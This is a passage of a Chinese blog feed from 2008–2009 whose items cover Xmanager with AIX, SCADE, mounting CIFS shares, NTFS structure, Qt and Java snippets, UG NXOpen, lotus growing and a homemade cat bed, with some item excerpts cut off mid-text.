      <description>在Windwos系统中用Xmanager2.0连接远程AIX系统显示图形界面&#xA;Xmanager是一个简单易用的高性能的运行在Windows平台上的 X Server 软件。它能把远端Unix/Linux的桌面无缝地带到你的Windows上，甚至当你的电脑是在内网或防火墙后，你也能通过SSH协议安全的运行远端的X应用程序。特点包括： -可通过 Xcongfig 工具设置多个 Xmanager 设置； -支持多用户的 Windows 终端环境； -支持多个IP地址； -支持本地资源数据库； -通过热键转换键盘映射； -支持多窗口下的Windows打印功能等。&#xA;下面来自网络一位仁兄：（本人已经实践没有问题）&#xA;Xmanager连接AIX服务器，远比想象中的简单，不需要太多设置。&#xA;xmanager连接AIX服务器可以分为两种情况：&#xA;1、连接IBM服务器，使用远程桌面功能进行系统维护。&#xA;要求这台服务器已经安装了图形桌面，如CDE等，并启动到图形界面。&#xA;在xmanager中的Xbrowser中，输入相应服务器的地址，即可。&#xA;这种情况能够成功的前提是，服务器已经启动图形桌面。&#xA;2、运行图形化安装软件，连接运程服务器，显示其图形界面。如安装oracle，运行dbca建库等。&#xA;第一步：打开Xbrowser，在地址栏输入要登录服务器的ip地址，回车。弹出窗口，先不要关闭。&#xA;第二步：telnet到服务器端，将DISPLAY设置成本地IP。&#xA;ksh下：export DISPLAY your_ip:0.0&#xA;csh下：setenv DISPLAY your_ip:0.0&#xA;第三步：运行程序。如dbca，即可看到图形界面已经显示到Xbrowser中。&#xA;来自 “ ITPUB博客 ” ，链接：http://blog.itpub.net/12778571/viewspace-584334/，如需转载，请注明出处，否则将追究法律责任。 转载于:http://blog.itpub.net/12778571/viewspace-584334/</description>
    </item>
    <item>
      <title>SCADE介绍—模型检测在航空领域的应用</title>
      <link>https://bchobby.github.io/posts/c9a2ab481c6bd12629345dd0e1f2fd1c/</link>
      <pubDate>Fri, 20 Mar 2009 11:31:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9a2ab481c6bd12629345dd0e1f2fd1c/</guid>
      <description>SCADE是英文 Safety-Critical Application Development Environment的缩写，它是一个高安全性的应用开发环境。&#xA;法国爱斯特尔技术公司在开发SCADE软件时联合了航空电子、汽车电子、军用飞机以及核电站控制等领域的合作伙伴，如AIRBUS, Schneider Electric, Dassault Aviation和THALES等，综合了多个领域对嵌入式软件开发的不同要求，提出了一整套高安全性嵌入式软件开发的自动化工具和相应方法学。&#xA;SCADE运用了correct by construction的概念，覆盖了嵌入式软件开发中从需求到嵌入式代码的整个流程：需求建模、模型检查、模拟仿真、形式验证、嵌入式代码自动生成、以及文档自动生成等等。除此之外，它还与许多其它工具进行了桥接。下面，我们从这二个方面来分别介绍SCADE的功能模块。&#xA;1 从需求到代码&#xA;图形化建模&#xA;实时高安全性软件设计工具SCADE通过图形化建模来实现软件开发的自动化，将用户从冗长枯燥的任务中解放出来，有更多的时间去关注其他更重要的领域。 SCADE编辑器提供了二套机制来进行图形化建模：数据流图和有限状态机。这二套机制都建立在严格的数学模型基础之上，具有严格的数学语义，它们保证了设计模型的精确性、完整性、一致性、无二义性。这些都是高安全性系统的基本特性。&#xA;数据流机制适合连续性系统的建模，有限状态机则适合于离散性系统的建模。SCADE把这二套机制很好地融合在一起，使得能够适合于不同类型的系统尤其是混合系统的开发。 SCADE的图形化编辑器界面友好，易学易用，有助于系统设计组同软件设计组之间的交流，从而缩短产品开发时间。&#xA;在图形化建模后，我们可以对建立的模型进行检查：对模型中的不一致、类型不匹配、数据回路等所有的模型错误，SCADE都能以超文本的方式进行定位，以便纠错。&#xA;模型检查有两种形式：局部模式检查我们选中的类型块、常量块或者操作符；全局模式检查整个模型。&#xA;模拟仿真&#xA;在系统建模后，我们可以对整个系统或是系统中任意一个模块进行模拟仿真。仿真器是基于SCADE生成的代码进行仿真的，它是一个强大的可视化的图形调试工具，可以设置断言、断点、中断条件；可以检查输入数据、内部的变量和输出数据的值；还可以记录和回放仿真的场景（scenario）。仿真器的输入输出可以用文本或表格的形式给出，还可以由著名的TCL语言来驱动。&#xA;对于一个拥有大量输入输出的系统来说，我们在仿真的时候，可能只对系统中的若干个信号的变化感兴趣。SCADE工具能够很方便地把我们感兴趣的信号集中在一起，并用图形的方式记录仿真时这些信号的变化情况，以便于检查。&#xA;SCADE还提供了良好的接口，供用户根据实际的应用，设计友好的仿真面板。&#xA;形式验证&#xA;模拟和仿真能够在一定程度上测试系统的模型是否很好实现我们所期望的功能，但是，它不能保证系统是否做了预期外的不应该做的事情。因此，只经过模拟仿真测试的系统安全性并不能完全得到保证。SCADE内置的形式验证的功能解决了这个问题。&#xA;详尽的形式验证，既不需要执行模型，也不需要借助测试向量，就可以检验SCADE模型是否达到安全性、可靠性和其他方面的要求。SCADE的Prover插件将Prover公司的最新科技集成到SCADE图形界面中，设计好了系统的安全性要求和一个“特性观察器”之后，用户只需按一个键就可验证SCADE的模型的安全性。如果模型是安全的，它能给出一个安全的证明；如果模型是不安全的，它能给出一个反例，而这个反例又可以在仿真器中调出来进行仿真，以详细地观察系统是怎样一步步地进入不安全状态的。形式验证的这一功能在很大程度上方便了系统的纠错，同时保证了目标系统的安全性。&#xA;嵌入式代码的自动生成&#xA;经过仿真和形式验证，保证了模型的安全性以后，SCADE可以自动生成面向工程的ANSI C或Ada 83/95语言的嵌入式代码。&#xA;它生成的代码满足一系列的安全性特征，例如，有界的堆栈，没有动态指针，没有递归调用，没有死代码等等。另外，SCADE自动生成的代码的运行空间和运行时间与手写代码基本相当，但比手写代码更易于维护和调整。&#xA;和其它的许多代码生成器相比，SCADE代码生成有二个显著的特点。第一，SCADE所生成的代码完全面向工程，可以直接嵌入到所开发的系统中去而不需要做任何修改。第二，SCADE基于严格的数据理论，它保证所生成的代码的正确性，并承诺所生成的代码的行为和仿真的行为完全一致。这二点是很多代码生成器所做不到的。 KCG&#xA;民航系统的开发流程必须满足DO-178B国际标准。KCG是爱斯特尔技术公司提供的满足DO-178B民航A级安全标准的代码产生器。由于KCG本身满足这一标准并保证了代码的正确性，它不仅大大节省了编码工作，而且完全免去了代码的单元测试，很大程度地节省了验证工作和验证时间。（详见第三章KCG和DO-178B标准）&#xA;KCG的使用对空中客车（AIRBUS）的A340/500项目和欧洲直升机（Eurocopter）的EC135、EC155等项目的开发和质量认证带来巨大的帮助。&#xA;2 与其它工具的桥接&#xA;与DOORS的桥接&#xA;DOORS是一个需求分析和追踪的工具。SCADE和DOORS的桥接工具可以把一个SCADE模型自动地输入到DOORS环境中，以便于需求分析和追踪，使SCADE中的设计与需求，测试计划和其他模型或文档联系起来。&#xA;在需求分析和追踪的过程中，如果我们想了解DOORS中的一个对象对应于SCADE中的哪个实体，该桥接工具还提供了定位的功能。只需点击一个按钮，它就会启动SCADE，调出相应的SCADE模型，并把光标定位在相应的实体上。&#xA;与配置管理工具的桥接&#xA;SCADE以ASCII格式保存所有数据，并支持SCCI标准的配置管理界面。因此，SCADE可以很方便地与所有支持SCCI标准的配置管理工具进行桥接，如Telelogic Synergy，MERANT PVCS，Rational Clearcase以及Wincvs等等。SCADE编辑器中还集成了常用的版本管理命令，如checkin，checkout等等。&#xA;与Simulink的桥接&#xA;如果您在以往的开发过程中，使用Matlab/Simulink做控制率设计，那么SCADE与Simulink的桥接能给您很大帮助。该桥接工具可以把Simulink模型中我们所需要的软件模块自动转化成一个Scade模型，这一方面帮助我们重用现有的模型和设计，减少工作量；另一方面也又能使我们充分享受SCADE的相对优势，如确定性的系统行为、形式验证、嵌入式代码的自动生成等等。此外，该桥接还可以把SCADE生成的代码返回到Simulink模型内部作为一个S函数，这样可以进行软件代码在其运行环境中模拟仿真。</description>
    </item>
    <item>
      <title>碗莲种植(20090505更新)</title>
      <link>https://bchobby.github.io/posts/6a9b5ca9943002800f46ba5244baa20f/</link>
      <pubDate>Tue, 17 Mar 2009 10:07:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a9b5ca9943002800f46ba5244baa20f/</guid>
      <description>20090505&#xA;突发事件：猫掉莲花缸里了。不过她很快蹦了出来，然后在地上留下了一排泥脚印。前几天，老婆的同事去山里玩，抓了两个蝌蚪回来，我没见这小东西估计怎么也有20年了。直接放到荷花缸里，正好还能控制一下缸里小生物的种群密度。没想到蝌蚪在缸里上窜下跳吃小虫子吃的欢的时候，已经被猫咪盯住了。开始两只前爪搭在缸沿儿上伸着脑袋看，后来发展到在缸边的矮台上躺着监视，几天前，终于开始踩着缸边儿小心的转圈。这缸边儿上过釉，又硬又滑，而且是弧形的，行走难度可想而知。于是乎......。结果是四个爪子跟穿了泥靴子一样，老婆只好给她洗澡了。&#xA;20090423&#xA;发生新情况了。莲花缸里，碗莲长势一般，估计还是因为温度的问题，不过每一个都至少长出两片浮叶了，尽管还没打开。浮叶的生长有些怪异，开始是立着长出来的。当叶子露出水面以后，叶柄并不停止生长，可想而知，浮出水面的第二天，因为叶柄很柔软，支撑不住顶端的叶子，整体上就又潜水了。再过两天，叶柄在叶子附近形成一个鱼钩型弯曲，这样一来，叶子又重新上浮，估计再过两天就变成真正的浮叶了。仔细想想，应该并不存在真正的浮叶吧，可能就是因为在比较弱小的阶段，叶柄无法长到能够把叶子送出水面的结实程度，最终导致叶子是浮在水面上的。&#xA;还有一个新情况，碗莲缸里无端升出一些小虫子，开始只有针鼻那么大，能看见，但是看不清，灰色半透明，在水里跳啊跳的。以我以前养过金鱼的经验，这就是鱼虫了，只不过现在没鱼来扫荡他们。再过几天，“鱼虫”们，看清了，这次打了引号，长大了一些，有芝麻大小了，我用手指粘了一个出来仔细看，谁也想不到，竟然是小个儿的河蚌！如果我没猜错的话。很明显有两片壳，半透明的，里面有一些淡红色触须在不停摇啊摇的，应该是在过滤水里的浮游生物。我从没想到长出来的是河蚌。看起来取土的地方以前是一个湖吧。好像河蚌里能养珍珠，嘿嘿。&#xA;第三个新情况，看见一条半厘米长的灰白色小虫子，悠哉悠哉的在水面下游泳，绝不是河蚌，长条型的，身体两边有好多桨，晃来晃去，游得很稳当呢。看起来有点儿像蜻蜓的幼虫，不过这也太离谱了吧，它怎么来的啊。&#xA;这么发展下去，缸里非长出尼斯湖怪兽来不可。&#xA;20090414&#xA;大概倆礼拜前，把4个发芽的种子种缸里了。现在呢，说不上长势良好，不过在长，我想还是因为天气不好，忽冷忽热，这不今天又下雨了。另一个缸还空着，因为我懒，一直没弄土进去。不过礼拜天的时候从taobao上又买了几个种子，总不能空一个缸不种吧。等过几天天气好点儿就可以开始了。有了第一次的经验，这次准备采用新工艺：先稍微把种皮磨磨，然后直接泡水里，我估计半天皮就软了，再用刀切掉一部分。&#xA;20090325&#xA;昨天发生大事故了。晚上回去我一看就傻眼了：大碗里的6个种子，只有那个貌似已经牺牲的还在，其它全体从碗里“出逃”。确切的说，是在猫咪的大力“协助”下出逃的。。。。。&#xA;全部抓回去，发现少了一个。叶子长最长那个不见了，看来脚长就是跑得快，今儿早上才缉拿归案。看起来跑的很辛苦，因为脚都没了。。。。。案件的始作俑者——猫咪跟没事儿人似的，照旧在屋里来回巡逻、找地方睡觉、喵喵叫，拿他没办法。本来就因为气温低发芽状态不理想，现在更完蛋了。不过好在时间上应该还来得及。如果这几个家伙长的不理想的话，可以增加阵容。&#xA;20090324&#xA;经过这些天，确认6个种子里有5个胜利发芽，剩下一个貌似壮烈牺牲了。昨天在青莲居（www.qinglianju.vn）上看到有一个网友的种子，23号的时候，已经长很长了，我这几个，最长的才长了5厘米，可能是气温比较低的原因吧。从他发的图片上看，是个阳光明媚的地方。可能我太心急了。&#xA;此外，还有一个新问题。礼拜天的时候，兴冲冲的从外面挖了两塑料袋土回来倒进前一阵子从taobao上败的荷花缸里了。一到进去当时傻眼了：两口袋土，刚刚把缸底儿填满，这要弄多少土进去才算数儿啊。更严重的问题在于：两口袋土已经非常沉了，搬上楼中间还休息了一次......这玩笑可有点儿开大了，当时没感觉荷花缸有那么大啊。本来的计划是：倆荷花缸，一个里面种三棵，现在有点儿想全种一个缸里了......&#xA;这次种莲花可下了不少本儿，光倆荷花缸就不便宜。客观的说，确实有点儿大了......&#xA;个人比较喜欢小A。&#xA;20090319&#xA;种子泡了两天，看起来有发芽的迹象。我发现莲子皮虽然干燥状态下非常结实，但是水一泡很快就软了，当然，这是自然选择的结果，否则没法发芽了。所以我想，未必需要先那么费劲的把皮磨掉一部分（其实磨是最省事儿的，妄想用刀子切下一块来基本上是做梦。我用新换刀片的美工刀一次也只能搞下来一小点儿）。可以先把表面在地面上稍微打磨一下，可能种子表皮上有防水层，然后泡一天，在用刀子应该就很容易把前端弄下一小块了。&#xA;昨晚上把6个种子按照网上的教程全用磨刀石磨了一遍，然后泡上了。没想到莲子的壳这么结实，每个用磨刀石得磨几分钟才到位。怪不得从地下挖出来的古莲子也能发芽开花呢。&#xA;6个种子，分成三种，不过现在已经全混了，都长差不多。希望它们6个都能顺利发芽、健康成长，开出漂亮的花。</description>
    </item>
    <item>
      <title>linux挂接 网络 WINDOWS共享盘命令格式</title>
      <link>https://bchobby.github.io/posts/3953d3272fe866a0a54fed8b8e4a0a4b/</link>
      <pubDate>Thu, 12 Mar 2009 19:49:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3953d3272fe866a0a54fed8b8e4a0a4b/</guid>
      <description>mount -t cifs -o username=jzxpc,password=123456 //192.168.0.5/photo /mnt[@more@] mount -t cifs -o username=jzxpc,password=123456 //192.168.0.5/photo /mnt&#xA;挂接成功后WINDOWS目录出现在LINUX的&#xA;/mnt/*内&#xA;mount可直接查看挂结是否成功&#xA;另外需注意的是不要用默认WINDOWS盘符MOUNT&#xA;如//192.168.0.1/d$这样的写法因为到LINUX下好象$是特殊符，LS挂接目录可能会导致死机- -！我就成功死机过……&#xA;来自 “ ITPUB博客 ” ，链接：http://blog.itpub.net/345618/viewspace-1018565/，如需转载，请注明出处，否则将追究法律责任。 转载于:http://blog.itpub.net/345618/viewspace-1018565/</description>
    </item>
    <item>
      <title>废旧衣物自制猫床</title>
      <link>https://bchobby.github.io/posts/fc6ba516857ec3bbd90e28e9b3676e79/</link>
      <pubDate>Sat, 07 Mar 2009 15:53:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc6ba516857ec3bbd90e28e9b3676e79/</guid>
      <description>尝试了用旧衣服自制猫床，初步成功。&#xA;材料：废旧牛仔裤两条，废旧毛衣一件，绳子若干，比较薄的旧衣服若干&#xA;步骤：&#xA;1、把牛仔裤的裤腿剪下来；&#xA;2、将旧衣服塞到剪下的裤腿里，两段各留一段空着。一共需要3～4个裤腿；&#xA;3、塞好的裤腿并排放在地上，用两根绳子分别将两端逐个绑起来。最后就象曹操按连环计把所有的船连到一起一样；&#xA;4、把连环裤腿装到毛衣里，然后把毛衣的袖子翻到里面去。完成。&#xA;一般用3～4个裤腿都可以，根据毛衣的大小调整，我自己用了3个。中间的裤腿露出来一个头，正好可以用手拎着。早晨，我就把它拎到沙发背后能晒太阳的地方，晚上再拎到暖气片旁边。如果是长毛猫咪用，需要定期清理粘在毛衣上的猫毛，用刷子刷下就行了。为了卫生，最好能定期把毛衣拿下来洗一下。</description>
    </item>
    <item>
      <title>word无法读取此文档，文档可能已损坏 请尝试下列方法：*打开并修复文件*用文本恢复转换器打开文件</title>
      <link>https://bchobby.github.io/posts/0618e70ac06a10e5ae4eb10e5792f177/</link>
      <pubDate>Sun, 15 Feb 2009 21:41:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0618e70ac06a10e5ae4eb10e5792f177/</guid>
      <description>若对您有所启发&#xA;欢迎打赏&#xA;古典小说网&#xA;致力于打造极致阅读体验&#xA;首创卡拉OK读书方式&#xA;首创，桌面大屏幕TXT阅读方式&#xA;今天遇到这个问题，word刚刚关闭，然后就打不开了 出现上面提示&#xA;解决方法： 先打开一个可以打开的WORD文档&#xA;然后选择文件——打开——选择你那个损坏的WORD&#xA;然后点打开右边的向下箭头——选打开并修复，&#xA;一般都可以打开&#xA;我就是用这个办法打开的 其他参考解决方法如下： 在打开一个WORD 2003文档时，提示：“word无法读取此文档，文档可能已损坏。请尝试下列方法：*打开并修复文件*用文本恢复转换器打开文件*确认磁盘空间”尝试了以上提示方法，无效。&#xA;升级到Word 2007之后提示完全一样，少了“确认磁盘空间”一项提示，结果无效。我注册表都改过，还是不行啊！怀疑谁对此文档动了手脚！请问各位大侠，怎样打开此文档？&#xA;问题补充：我的系统补丁与OFFICE 2007补丁打的都是最新的！&#xA;WPS也试过 提示 文件转换 用文本编码的任何一个都显示乱码！写字板与记事本打开也是乱码…… 提问者： gafy2008 - 助理 二级 答复 共6 条 换个WPS试试。 回答者： zunguiyizu - 见习魔法师 二级 6-18 22:39 先打开一个可以打开的WORD文档，然后选择文件——打开——选择你那个损坏的WORD，然后点打开右边的向下箭头——选打开并修复，一般都可以打开 回答者： tttttk - 首席运营官 十二级 6-18 22:39 我也遇到过这种事..不过我是在EX下的...到现在还没解决...如果有大虾知道的话..帮忙..谢啰.... 回答者： asdf7348 - 试用期 一级 6-18 22:42 先拷贝到其他电脑看看能不能打开,然后重装系统. 回答者： 得意依旧 - 经理 五级 6-19 10:50 从描述上看，Word 文档的是真的损坏了，可以从打开方式中选写字板打开看看 回答者： zenithsoft - 江湖新秀 四级 6-27 11:44 如果修复都不行就是文件坏了，应该是打不开了</description>
    </item>
    <item>
      <title>NTFS文件格式</title>
      <link>https://bchobby.github.io/posts/af469b8c05dcb2de03b2ca64feb6f84b/</link>
      <pubDate>Thu, 27 Nov 2008 12:07:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af469b8c05dcb2de03b2ca64feb6f84b/</guid>
      <description>引用:http://www.ds0101.net/Article/ShowInfo.asp?ID=38&amp;amp;Page=1&#xA;解析NTFS底层结构 一、NTFS系统结构&#xA;NTFS是Windows NT引入的新型文件系统，如果您是一位熟悉FAT磁盘格式的专业人士，您可能会觉得NTFS系统的思想蹩脚而晦涩，如果您对FAT格式一无所知，那么恭喜您，您会更快的了解这种更有效率的磁盘格式。&#xA;NTFS的结构复杂，内容繁多，笔者仅对NTFS卷上的底层结构做分析，并提供卷上数据删除的特征状态供大家参考。&#xA;现在，我们首先来建立了解NTFS需要的基本概念。&#xA;1.0基本结构及基本概念&#xA;在NTFS中，文件以簇的形式分配。最小的单位为扇区，N个扇区为一簇。其中，N的值可以通过BPB（引导扇区）读出（以下会详细介绍）。&#xA;1.0.1卷与簇&#xA;表1 卷与簇的关系&#xA;卷大小（分区大小） 每簇的扇区 缺省的簇大小 小于等于512MB 1 512字节 513MB~1024MB(1GB) 2 1024字节(1KB) 1025MB~2048MB(2GB) 4 2048字节(2KB) 大于等于2049MB 8 4KB 从上面可以看出，也就是说不管驱动器多大NTFS簇的大小不会超过4KB。&#xA;1.0.2 NTFS的基本数据结构&#xA;NTFS的数据大体上可分为4个部分&#xA;（1） Partition boot sector（引导扇区，又称BPB），此部分为所有磁盘格式都共有，占用一个扇区，但是具体的内容当然各不相同（见表3）。&#xA;（2） Master File Table（主文件列表，MFT），它是对卷上所有文件的记录，每一个文件对应一个记录项，理论上占用该卷12％的空间。&#xA;（3） System files（系统文件），NTFS系统一共有16个系统文件，和8个保留文件。&#xA;（4） File area（数据区），留给用户的空间。&#xA;表2 NTFS的磁盘分配情况&#xA;Partition boot sector Master File Table System files File area&#xA;引导扇区 主文件列表 系统文件 用户文件区（数据区） 1.0.3 NTFS中关于目录的说明&#xA;NTFS中目录也是以文件的形式存在的。因此，每一个目录也可以看作一个文件。如果您熟悉FAT，那么此时您可能会觉得很别扭，因为在FAT中，文件是以目录－文件的树型结构联系起来的。但是，您必须相信的是，NTFS将会提供比搜索树更快的读写方式。&#xA;1.1 引导扇区&#xA;表3 NTFS引导扇区说明&#xA;字节偏移 长度（字节） 常用值 意义 0X00 3 0XEB5290 JMP指令 0X03 4 NTFS 文件系统 ID 0X0B 2 0X0002 每扇区字节数 0X0D 1 0X08 每簇扇区数 0X0E 2 0X0000 保留扇区 0X10 3 0X000000 总为0 0X13 2 0X0000 NTFS未使用，为0 0X15 1 0XF8 介质描述 0X16 1 0X0000 总为0 0X18 2 0X3F00 每磁道扇区数 0X1A 2 0XFF00 磁头数 0X1C 4 0X3F000000 隐含扇区 0X20 4 0X00000000 NTFS未使用，为0 0X24 4 0X80008000 NTFS未使用，为0 0X28 8 0X4AF57F0000000000 扇区总数 0X30 8 0X0400000000000000 $MFT的逻辑簇号 0X38 8 0X54FF070000000000 $MFTMirr的逻辑簇号 0X40 4 0XF6000000 每MFT记录簇数 0X44 4 0X0100000 每索引簇数 0X48 8 0X14A51B74C91B741C 卷标 0X50 4 0X00000000 校验和 0X54 430 略 引导代码 0X1FE 2 0X55AA 签名 1.</description>
    </item>
    <item>
      <title>学习一：头文件找不到问题（版本变化）</title>
      <link>https://bchobby.github.io/posts/1fea4bafe79d6db7c6ec2bafada4b933/</link>
      <pubDate>Thu, 13 Nov 2008 10:48:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1fea4bafe79d6db7c6ec2bafada4b933/</guid>
      <description> 我用的是在windows +vs2005+qt4.3平台 在网上按 Qt教程一 —— 第三章：家庭价值 学习时遇到如下问题： #include &amp;lt;qapplication.h&amp;gt;&#xA;#include &amp;lt;qpushbutton.h&amp;gt;&#xA;#include &amp;lt;qfont.h&amp;gt;&#xA;#include &amp;lt;qvbox.h&amp;gt; // 系统找不到这个头文件&#xA;经查资料：4.3 已经没有这个类 而是用QVBoxLayout 代替 因此换成#include&amp;lt;QVBoxLayout&amp;gt;就可以了&#xA;源程序如下： #include &amp;lt;QtGui/QApplication&amp;gt;#include &amp;lt;qpushbutton&amp;gt;#include&amp;lt;qfont&amp;gt;#include &amp;lt;QVBoxLayout&amp;gt;using namespace std;int main(int argc, char *argv[]){ QApplication a(argc, argv); QWidget window; window.resize(200,120); QVBoxLayout layout; QPushButton quit(&#34;Quit&#34;,&amp;amp;window); quit.setFont(QFont(&#34;Times&#34;,18,QFont::Bold)); QObject::connect(&amp;amp;quit,SIGNAL(clicked()),&amp;amp;a,SLOT(quit())); layout.addWidget(&amp;amp;quit); window.setLayout(&amp;amp;layout); window.show(); return a.exec(); }&#xA;运行结果如下：&#xA;参考资料：http://doc.trolltech.com/4.4/classes.html </description>
    </item>
    <item>
      <title>动态数组存储输出</title>
      <link>https://bchobby.github.io/posts/a52d6e4b78814ba933697c3570318b1f/</link>
      <pubDate>Fri, 17 Oct 2008 13:49:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a52d6e4b78814ba933697c3570318b1f/</guid>
      <description>比如求1000内完数的问题 完数 即该数的所有因子之和等于它本身 如6=1+2+3 用程序写一个求完数的程序 只需进行2次循环 比求质数的要难一点 课本只要求找到完数 那么程序会很容易写出来 Java code public class ws{&#xD;public static void main(String []args)&#xD;{&#xD;int sum = 0 ;&#xD;for ( int i = 1 ;i &amp;lt; 1000 ;i ++ )&#xD;{&#xD;for ( int j = 1 ;j &amp;lt;= i / 2 ;j ++ )&#xD;{&#xD;if (i % j == 0 )&#xD;{&#xD;sum += j;&#xD;} }&#xD;if (sum == i)&#xD;{&#xD;System.</description>
    </item>
    <item>
      <title>多种文件转换器服务</title>
      <link>https://bchobby.github.io/posts/41a0cb9c0f1bbac838b48105489a44ec/</link>
      <pubDate>Mon, 09 Jun 2008 09:13:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41a0cb9c0f1bbac838b48105489a44ec/</guid>
      <description>[多图]多种文件转换器服务推荐 &amp;lt;script language=&#34;javascript&#34; type=&#34;text/javascript&#34;&amp;gt;var ReTitle = &#39;回复:[多图]多种文件转换器服务推荐&#39;;&amp;lt;/script&amp;gt; 现在的文件格式真是过于繁多，就我而言，从96年接触，不能说很精通，也说得过去，但看到现在繁多的文件格式也是十分头疼。有时发现一个不错的文件不能打开也是望而兴叹！web2.0时代的文件转换器能帮我们解决这个问题！ 文件转换器是非常具有实用价值的在线工具，它可以将一些陌生的文件格式转变为我们熟悉或喜欢的格式，以符合我们的习惯。不知道大家用得多不多，反正我经常会使用，主要是用在文档文件格式转换、媒体文件转换，省去好多安装不同软件的麻烦。以下推荐若干个我所知道的文件转换器，可能不是很全，但有这些一般的使用应该绰绰有余了。&#xA;1、通用类：&#xA;zamzar 是一个很牛的在线转换工具，能转换100M以下的到40种格式的文件，包括图象格式、文档格式、音频格式、视频格式等，几乎囊括了我们熟知的所有文件格式，可以自由转换，功能相当不错的了，可以说是一个比较全能的工具了，而且页面简洁易用，速度也很不错！！（via）&#xA;Youconvertit 提供堪称最完美的在线文件转换服务，能在线对文档、图片、音频以及视频文件进行转换。能在41种文档格式（常用如html,txt,ppt,doc, pdf,rtf,csv,psd,xls,xhtml,xls等）、85种图片格式（常用如bmp,jpg,gif,tiff,ico,png等）、7种 音频格式（aac、aif、aiff、mp3、ra、wav、wma）、11种视频格式（3gp、asf、avi、flv、mov、mp4、mpeg、 mpg、rm、swf、wmv）进行相互转换。实在是一项非常不错的服务。（via）&#xA;Xurrency 是在线的当前货币兑换查询工具，界面非常简单，选择币种，输入金额即可快速获得目标币种的数额。同时，底部还有一个实时的汇率表，直观的反馈一些主要币种的现时汇率。放在此类有些牵强，对一些朋友会很有用。&#xA;2、媒体类&#xA;Fivix 是一个视频转换的平台，可将YouTube、Google Video等视频网站的视频转化格式、或直接生成下载链接，用户可将视频文件根据需要随意转化为avi、mov、3gp、mp4、mp3格式，并生成下载。（详情）&#xA;Movavi 是全绿色版本，不需要你注册、下载、安装等等繁琐，任何人进入网站就能直接使用。使用大致分为三步，在一页内均能完成。允许你将本地电脑、或者网络中的视频文件进行格式的转换，生成你所喜欢的media文件。并提供了转换工具下载及博客挂件，方便你的使用。（详情）&#xA;Converttube 可将Youtube视频文件进行转换并提供下载，最近更是添加了mobile文件的支持，一共可转换为6种格式：mpg、flv、mov、mp3、3gp、mp4。&#xA;与Converttube 几乎一样，Vconvert 又是一个在线视频转换工具，可将YouTube等视频共享网站的文件转换为wmv, mov, mp4, mp3, 3gp等。&#xA;SpinVox 提供语音到短信业务，出发点是为了方便用户随时掌握自己的留言，注册为用户后，网站会自动将你的语音留言转为文本短信，并及时的发送到你的手机、邮箱或博客上，用户不用上网，而利用手机就可以收发SpinVox 信息，同任何SpinVox 用户进行通信，而且可以支持任何手机，无需下载新的软件。但是，目前针对英语、西班牙语、法语和德语用户。（详情） Vozme 更为简单和实用，不需要注册就能使用所有功能。这次推荐的是英文版本，你只需要在对话框内输入想要说的话（英文），点击创建mp3，在短短进分钟内立刻就 能生成mp3文件。速度还是很快的，制作完成后提供在线播放和文件下载。同时网站还提供了挂件代码，贴在博客上可随时使用。（详情）&#xA;Filsh 提供在线下载视频网站的视频文件的服务，并且还支持对文件格式的转换，能将文件转换成如下格式： .mpg .avi .mov .3gp .mp4 .flv .mp3 .ogg，同时还可以对码率以及视频尺寸进行设置。功能已经是很强大的了，而且下载及转换的速度也还比较理想，不过不支持本地文件的转换，只能转换网络上 的一些文件。（via）&#xA;Flvto 是很简单的一个在线转换器，可以将Youtube视频转变为mp3格式，或者将你本地的视频（flv格式）转变为mp3文件。根据你提供的视频文件大小需要等待不同的时间，不过速度还算可以。转换后提供下载的网址，或者可以直接发布到你的社会化网络服务上。（详情）&#xA;3、文档类&#xA;pdfonline 功能最为强大的PDF在线工具集合，很奇怪国内用户很少人用。我以前也没怎么用过，这次整理时才发现，包括了一些很实用的工具，值得慢慢挖掘。其中pdf 文件转化工具更是让我眼前一亮，也是目前我所发现支持文件格式最多的一个工具，包括MS Word (DOC | RTF) 、MS PowerPoint (PPT)、MS Publisher (PUB)、MS Excel (XLS) 、HTML (MHT)、Text (TXT) 、JPG、GIF、TIFF、BMP、PNG、EMF、WMF。</description>
    </item>
    <item>
      <title>谈谈UG二次开发的Open和NXOpen</title>
      <link>https://bchobby.github.io/posts/e46f77a21714d47090e5fa5790389d13/</link>
      <pubDate>Sat, 17 May 2008 11:12:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e46f77a21714d47090e5fa5790389d13/</guid>
      <description>UG的二次开发有两套系统，一套叫Open，一套叫NXOpen。Open主要是造型方面的功能，NXOpen比较全面。Open原来支持的是C/C++，.net的NXOpen.UF命名空间支持。NXOpen支持C++和.net等。&#xA;Open系统，支持C的原来叫UFun，或者API，用的人最多。后来出现了Open C++。但是Open C++支持编辑等属性行为，不能创建。所以，一般是通过API创建特征，比如实体，通过C++的类查询和修改。&#xA;NXOpen系统，是完全面向对象的，所以可以创建和修改特征。当然，NXOpen几乎支持UG所有的功能。&#xA;Open&#xA;NXOpen&#xA;C&#xA;UFun（API）；面向过程开发；主要支持造型功能&#xA;C++&#xA;Open C++类库；面向对象开发；部分支持造型功能，没有创建特征的功能等，需要使用UFun&#xA;通过NXOpen命名空间支持，需要包含相应头文件。&#xA;.net&#xA;通过NXOpen.UF命名空间包装了UFun来实现。&#xA;通过NXOpen命名空间支持，需要引用相应的程序集。&#xA;所以，目前开来，如果使用C/C++方式，可以使用Open C和C++结合的方式，利用C来创建特征，使用C++来管理。如果使用.net可以直接使用NXOpen。对于不熟悉NXOpen的人可以按照Open C的知识上手NXOpen.UF。&#xA;下面将通过各个例子说明上述系统的使用，因为.net平台是通用的，我只举了C#的例子，VB等也是一样的的。而java我不懂，见谅了。&#xA;一、Open C&#xA;1、遍历的例子&#xA;#include &amp;lt;uf_object_types.h&amp;gt; #include &amp;lt;uf_part.h&amp;gt; #include &amp;lt;uf_obj.h&amp;gt; #include &amp;lt;uf_modl.h&amp;gt; #include &amp;lt;string&amp;gt; #include &amp;lt;sstream&amp;gt; using std::string; using std::stringstream; //下面是程序片段 UgSession session( true ); try { /* TODO: Add your application code here */ uf_list_p_t lpObj; UF_MODL_create_list(&amp;amp;lpObj); tag_t prt = UF_PART_ask_display_part(); tag_t Next_tag=NULL_TAG; do { 